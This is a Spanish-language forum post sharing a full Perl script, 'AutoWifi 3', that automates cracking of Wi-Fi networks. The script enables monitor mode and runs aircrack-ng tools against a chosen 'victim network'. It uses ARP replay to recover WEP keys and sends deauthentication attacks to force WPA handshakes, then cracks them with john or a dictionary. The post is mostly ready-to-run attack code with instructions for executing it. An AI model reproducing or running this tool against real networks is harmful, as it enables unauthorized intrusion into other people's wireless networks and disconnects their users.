[CODE] AUTOWIFI 3 BY DarkSpark (Perl)

Publicado por D3M0N, 23 de Marzo de 2011, 03:54:45 PM

Tema anterior - Siguiente tema

0 Miembros y 3 Visitantes están viendo este tema.

Imprimir
Ir Abajo Páginas1
Acciones del Usuario

D3M0N

23 de Marzo de 2011, 03:54:45 PM Ultima modificación: 23 de Marzo de 2011, 03:56:47 PM por † Välh †
AutoWifi 3 es un script creado por DarkSpark, lo he usado en ubuntu y es muy bueno.

You are not allowed to view links. Register or Login

Código: php
#!/usr/bin/perl
system("clear");
$home="~/autowifi";
$clear=system("$clear");
$hometerm="--workdir /root/autowifi";

system ("cd ~ ; mkdir autowifi");
print "******************************************\n";
print "*       AUTOWIFI 3  BY DarkSpark         *\n";
print "******************************************\n";
sleep (3);

monitor:
       print "seleccione la tarjeta de red que se usara\nejemplo:eth1,ath0,ra0\n\n";
       
       system ("iwconfig");
       chomp ($inter=<STDIN>);
       system("clear");
       print "intentando poner la tarjeta en modo monitor...\n";
       sleep(4);
       system("lspci | grep Ethernet > $home/lspci.txt");
       my $entrada="/root/autowifi/lspci.txt";
       open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
       $lspci=join("",<ENTRADA>);

       if ($lspci=~/Atheros/){
          system("lsmod | grep ath > $home/lsmod.txt");
          my $entrada="/root/autowifi/lsmod.txt";
          open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
          $lsmod=join("",<ENTRADA>);
          if ($lsmod=~/ath_pci/){
              system ("ls /usr/bin | grep wlanconfig > $home/madwifi.txt");
              my $entrada="/root/autowifi/madwifi.txt";
              open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
              $madwifi=join("",<ENTRADA>);
              if ($madwifi=~/wlanconfig/){
                  system ("wlanconfig $inter destroy ; wlanconfig $inter create wlandev wifi0 wlanmode monitor");
                  }
              else{
                  print " el paquete madwifi no esta instalado,\n instale el paquete para poder continuar\n";
                  system ("rm -r $home");
                  exit;
                  }
             }
          
          else { 
              system("airmon-ng start wifi0");
              $inter="mon0";
              }
        }
       else{
           system("airmon-ng start $inter"); 
           $inter="mon0";
       }

monitorcheck:
            system("clear");
            print " verificando si la tarjeta esta en modo monitor...\n";
            sleep(3);
            system ("iwconfig > $home/monitor.txt");
            my $entrada="/root/autowifi/monitor.txt";
            open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
            $monitor=join("",<ENTRADA>);
            if ($monitor=~/Monitor/){
               system ("clear");
               print " Modo monitor correcto\n";
               sleep(3);
               goto menu0;
               }
            elsif ($monitor=~/mon0/ and $inter!="mon0"){
                  system("clear");
                  print "la tarjeta esta en modo monitor pero cambio de nombre\nvuelava a ingresar el nombre de la tarjeta que esta en modo monitor\n\n";
                  sleep(3);
                  system("iwconfig");
                  chomp($inter=<STDIN>);
                  goto monitorcheck;
                  }
            else{
                system("clear");
                print "no fue posible poner la tarjeta en modo monitor\nseleccione una opcion para continuar:\n\n";
                print "[1] Poner en modo monitor manualmete y continuar\n(hacerlo usted mismo y continuar)\n";
                print "[2] Salir\n\n";
                chomp($action=<STDIN>);
                if ($action eq 1){
                   goto menu0;
                   }
                elsif ($action eq 2){
                     system ("rm -r $home");
                     exit;
                     }
                else{
                    print "la opcion no existe\n";
                    system ("rm -r $home");
                    exit;
                    } 
            }



menu0:
     system ("clear");
     print " copie y pege la mac adress o HWaddr la interfaz \n";
     print " (12 digitos)\n";
     
     system ("ifconfig $inter");
     $mimac = <STDIN>;
     chomp ($mimac);
     system ("clear");

menu:
    system ("clear");
    print "seleccione una opcion\n\n\n\n";
    print "[1] sacar clave WEP\n";
    print "[2] sacar clave WPA sin diccionario (john)\n";
    print "[3] sacar clave WPA con diccionario\n";
    print "[4] salir\n";
    chomp($ataque = <STDIN>);
    system ("clear");

   
if ( $ataque == 1 ){
   print " espere a ver las redes disponibles y presione Ctrl+C para continuar\n";
   sleep (4);
   system ("airodump-ng $inter");
   print " seleccione el canal de la red victima\n";
   $can=<STDIN>;
   chomp ($can);
   print " \ncopie y pegue el nombre de la red (ESSID)\n";
   $essid=<STDIN>;
   chomp ($essid);
   print " \ncopie y pegue la mac adress de la red (BSSID)\n";
   $bssid=<STDIN>;
   chomp ($bssid);
   $canal = "-c $can";
   $arch = "-w wep";
   $ess = "-e $essid";
   $bss = "-a $bssid";
   $bss1 = "-b $bssid";
   $mac = "-h $mimac";
   system ("konsole $hometerm  -e airodump-ng $canal $arch $inter & ");
   system ("clear");
   sleep (5);
   system (" konsole $hometerm  -e aireplay-ng -1 0 $ess $bss $mac $inter ");
   sleep (15);
   system ("clear");
   system ("konsole $hometerm  -e aireplay-ng -3 -x 1024 $bss1 $mac $inter &");
   system ("clear");
   sleep (20);
   system ("cd $home ; aircrack-ng $bss1 wep-01.cap");
   system ("killall airodump-ng");
   system ("killall aireplay-ng");
   print "copie y guarde la contraseíña y presione ENTER para continuar\n";
   $cont = <STDIN>;
  system ("cd $home ; rm *");
  goto menu;
  }
elsif ( $ataque == 2 ){
      print " espere a ver las redes disponibles, los clientes conectados a la red victima\n";
      print " y presione Ctrl+C para continuar\n";
      sleep (4);
      system ("airodump-ng $inter");
      print " seleccione el canal de la red victima\n";
      $can=<STDIN>;
      chomp ($can);
      print " \ncopie y pegue el nombre de la red (ESSID)\n";
      $essid=<STDIN>;
      chomp ($essid);
      print " \ncopie y pegue la mac adress de la red (BSSID)\n";
      $bssid=<STDIN>;
      chomp ($bssid);
      print " \ncopie y pege la mac adress del cliente (STATION) asociado \n";
      print " al BSSID que acaba de introducir \n";
      $cliente = <STDIN>;
      chomp ($cliente);
      $cli = " -c $cliente";
      $canal = "-c $can";
      $arch = "-w wpa";
      $ess = "-e $essid";
      $bss = "-a $bssid";
      $bss1 = "-b $bssid";
      $mac = "-h $mimac";
      brute:   
           system ("clear");
           print " seleccione el ataque de fuerza bruta a utilizar\n";
           
           print "[1] Solo Letras\n";
           print "[2] Solo Numeros\n";
           print "[3] Letras y Numeros\n";
           print "[4] Todos los Caracteres\n";
           chomp($brute=<STDIN>);
          
    
      if ($brute==1){
         system ("clear");
         system ("konsole $hometerm  -e  airodump-ng $canal $arch $inter & ");
         sleep (5);
         system ("konsole $hometerm  -e aireplay-ng -0 30 $ess $bss $cli $inter &");
         sleep (10);
         system ("cd $home ; john -incremental=alpha --stdout | aircrack-ng -a 2 -w -  $ess wpa-01.cap");         

         }
      elsif ($brute eq 2){
         system ("konsole $hometerm  -e  airodump-ng $canal $arch $inter & ");
         sleep (5);
         system ("konsole $hometerm  -e aireplay-ng -0 30 $ess $bss $cli $inter &");
         sleep (10);
         system ("cd $home ; john -incremental=digits --stdout | aircrack-ng -a 2 -w -  $ess wpa-01.cap");
         }
      elsif ($brute eq 3){
         system ("clear");
         system ("konsole $hometerm  -e  airodump-ng $canal $arch $inter & ");
         sleep (5);
         system ("konsole $hometerm  -e aireplay-ng -0 30 $ess $bss $cli $inter &");
         sleep (10);
         system ("cd $home ; john -incremental=alnum --stdout | aircrack-ng -a 2 -w -  $ess wpa-01.cap");
         }
      elsif ($brute eq 4){
         system ("clear");
         system ("konsole $hometerm  -e  airodump-ng $canal $arch $inter & ");
         sleep (5);
         system ("konsole $hometerm  -e aireplay-ng -0 30 $ess $bss $cli $inter &");
         sleep (10);
         system ("cd $home ; john -incremental=all --stdout | aircrack-ng -a 2 -w -  $ess wpa-01.cap");
         }
      else{
             system("clear");
             print "La Opcion No Existe\n";
             
             sleep(3);
             goto brute;
             }
      system ("killall airodump-ng");
      system ("killall aireplay-ng");
      print " copie y guarde el password y presione ENTER para continuar\n";
      $cont1 = <STDIN>;
      system ("cd $home ; rm *");
      goto menu;
      }
elsif ($ataque eq 3){
      print " espere a ver las redes disponibles, los clientes conectados a la red victima\n";
      print " y presione Ctrl+C para continuar\n";
      sleep (4);
      system ("airodump-ng $inter");
      print " seleccione el canal de la red victima\n";
      $can=<STDIN>;
      chomp ($can);
      print " \ncopie y pegue el nombre de la red (ESSID)\n";
      $essid=<STDIN>;
      chomp ($essid);
      print " \ncopie y pegue la mac adress de la red (BSSID)\n";
      $bssid=<STDIN>;
      chomp ($bssid);
      print " \ncopie y pege la mac adress del cliente (STATION) asociado \n";
      print " al BSSID que acaba de introducir \n";
      $cliente = <STDIN>;
      chomp ($cliente);
      print "Escriba la ruta del diccionario que se va a utilizar\n";
      sleep(3);
      chomp($dic=<STDIN>);
      $dicc= "-w $dic";
      $cli = " -c $cliente";
      $canal = "-c $can";
      $arch = "-w wpa";
      $ess = "-e $essid";
      $bss = "-a $bssid";
      $bss1 = "-b $bssid";
      $mac = "-h $mimac";
      system ("konsole $hometerm  -e  airodump-ng $canal $arch $inter & ");
      system ("clear");
      sleep (5);
      system ("konsole $hometerm  -e aireplay-ng -0 30 $ess $bss $cli $inter &");
      sleep (5);
      system ("cd $home ; aircrack-ng -a 2 $dicc $ess wpa-01.cap");
      system ("killall airodump-ng");
      system ("killall aireplay-ng");
      print " copie y guarde el password y presione ENTER para continuar\n";
      $cont1 = <STDIN>;
      system ("cd $home ; rm *");
      goto menu;
      }   
elsif ($ataque == 4){
     system ("cd $home ; rm -r autowifi");
     system("lsmod | grep ath > $home/lsmodsalida.txt");
     my $entrada="/root/autowifi/lsmodsalida.txt";
     open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
     $lsmod2=join("",<ENTRADA>);
     if ($lsmod2=~/ath_pci/){
        system ("wlanconfig $inter destroy ; wlanconfig $inter create wlandev wifi0 wlanmode managed");
        }
     elsif($lsmod2=~/ath5k/ or $lsmod2=~/ath9k/){
         system("airmon-ng stop wifi0 ; airmon-ng stop $inter");
         }
     else{
         system("airmon-ng stop $inter");
         }
system ("clear");
system ("rm -r $home");
exit;
}
else{
    system("clear");
    print "La opcion No Existe\n";
    sleep(3);
    goto menu;
    }


es un script en perl se copia el cídigo se pega en un archivo de texto y se le pone la extensiín .pl y se puede ejecutar poniendo en una consola

perl You are not allowed to view links. Register or Login

o bien darle permisos de ejecucion y ejecutarlo simplemente con

./nombre-del-script.pl


PD: You are not allowed to view links. Register or Login
Imprimir
Ir Arriba Páginas1
Acciones del Usuario